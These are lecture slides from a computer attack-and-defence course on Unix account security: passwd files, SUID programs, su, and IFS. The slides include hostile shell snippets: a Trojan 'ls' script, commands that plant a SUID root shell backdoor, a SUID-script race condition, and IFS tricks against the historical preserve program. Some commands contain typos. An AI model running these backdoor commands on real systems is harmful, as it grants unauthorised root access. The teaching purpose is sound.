1. The Attack and Defense of Computers
Dr. 許 富 皓

2. Passwords in Unix/Linux Systems

3. /etc/passwd
Format:
Racehl:eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:bin/ksh
home directory
uid
gid
user name
login shell
account name
encrpyted password

4. System Function Account
Unix opens special accounts for a variety of system functions. (e.g. daemon/sys, ftp, nobody, uucp)
daemon:*:1:1: :/tmp:
ftp:*:3:3:FTP User:/usr/sool/ftp:
nobody:*:60001:60001::/tmp:
uucp:*:4:4::/usr/spool/uucppublic:/us/lib/uucp/uucico
Prevent users from using login to log into the system.
(not include trusted host/user; rlogin)

5. Password Crackers Download (1) Download (2)
John the Ripper password cracker -- Linux
Ophcrack 2 -- Windows

6. One Time Password
Password list
Small Card
Calculator

7. UID, GID, and SUID

8. Account Name and UID
UID 0  root.
A system identifies a user by her/his UID, not her/his name.
e.g.
Name: root, UID: 100  no root privilege
Name: doggy, UID: 0  root privilege
good habit: user name root should be preserved for system administrators.
Users with different user names but with the same UID are treated as the same user by the system.

9. Real UIDs and Effective UIDs
A Unix process has at least these two IDs:
Real UID:
a process owner’s real identity
and
matches up with the username the owner logged in as.
Effective UID:
a system decides a process’s privilege based on this ID.
Usually, the above two IDs of a process are the same.

10. setuid or SUID program
When a suid program is run, the process involved takes on an efficitive UID that is the same as the owner of the file.
But the real UID remains the same as the one of the user that creates the process.
chmod 4xxx filename
e.g.
$ chmod program_name
$ ls –al ..
-rwsr-xrwx root user Sep program_name
suid program indicator

11. setuid Program examplessu
passwd

12. Group
Each user belongs to a primary group that is stored in the /etc/passwd file.
The /etc/group file contains every group and its gid in a system.
vision:*:101:Keith,arlin,janice
users:*:100:
startrek:*:102:janice,karen,arlin
Each user can belong to several different groups, but her/his gid can be the gid of only one of the groups which she/he belongs to.
A user can use command newgrp to change her/his gid.

13. su: Substitute User super user password new prompt %whoami tim
%su john
Password: *******
%whomai
john
========================================
%su
Password:********
# whoami
root #
new prompt
super user password

14. Security Problem with su
Type /bin/su -
cause the sub-shell to read all relevant
startup files and simulate a login;
therefore, the new shell uses the root’s
environment variable, including PATH.
1) avoid Trojan horse
(another program with the
same name and in one of
the directories listed in
the PATH variable.)
2) The access right of
the directory that contains
the Trojan may not be set
correctly.

15. Stealing Superuser Account
Assume: the root’s PATH variable is as follows: .:xxxxxxx
Observation: When going into a directory, the first command a user types usually is ls.
%cat ls
#! /bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod /stuff/junk/.superdude
rm –f $0
exec /bin/ls
====================================
%cd
%chmod 700 .
%touch ./-f
A Trojan horse shell script with name ls.
1) Change the access right of the user’s home directory so that the victim must use root account to see the content of this directory.
2) Create a file named -f

16. Account Steal by Passersby
$ cp /bin/sh /tmp/break-acct
$ chmod 4755 /tmp/break-acct
When a user left her/his terminal unnoticed, then a bystander could create a backdoor easily by just typing the above commands.

17. Shells and Shell Scripts

18. Shell Also called a command line interpreter.
When you login a system, it
displays a prompt on the screen
and
waits for you to enter a commend.
A running shell is also a process.
Some of the famous shells
Bourne shell (/bin/sh)
Bourne Again shell (/bin/bash)
Korn Shell (/bin/ksh)
C-shell (/bin/csh)

19. Shell Script
A shell script is series of commands written in plain text file.
In order to make a shell script executable, its file permission must be changed to executable.
Usually the first line of a shell script is as follows:
#! Shell
, then followed by a series of commands

20. Security Problems of SUID Shell Script
Two shells are involved in the execution of a shell script.
The shell that accepts the shell script command.
The shell that executes the shell script.
Race Conditon:
$ cd /tmp
$ ln /etc/setid_script temp
$ nice -20 temp &
$ mv my_script temp
Between the time the kernel opens the file to see which interpreter to run, and when the (now-set-id) interpreter turns around and reopens the file to interpret it, an attacker might change the file (directly or via symbolic links).
opened twice
attack script

21. IFS Security

22. IFS Environment Variable
The IFS specifies which characters separate commands.
It is normally set to a space, tab, or new line.

23. IFS and Shell Script Security
By changing the IFS, a hacker can change what programs our script executes.
Our script calls the /usr/bin/passwd program.
Changing the IFS to "/" with
% export IFS='/'
causes the script to no longer run /usr/bin/passwd, but instead run usr bin passwd.
Now a hacker can create a script called usr that generates a root shell.

24. Security Hole in /usr/lib/preservevi
3. preserve saves the edited file in a restricted area
1.telnet
2. disconnect
4. recover program
reads the file from the area

25. /usr/lib/preserve and /bin/mail
preserve was installed SUID root.
preserve ran /bin/mail as the root user to alert users that their files had been preserved.
preserve executed the mail program with the system() function call.
According to the content of IFS to parse a string into command, options, and arguments

26. Change IFS to Execute a Different Program/Script
If IFS=‘/’, then preserve will execute, bin mail instead of /bin/mail.
% cat bin
#! /bin/sh
cd /home/mydir/bin
cp /bin/sh ./sh
chown root sh
chmod 4755 sh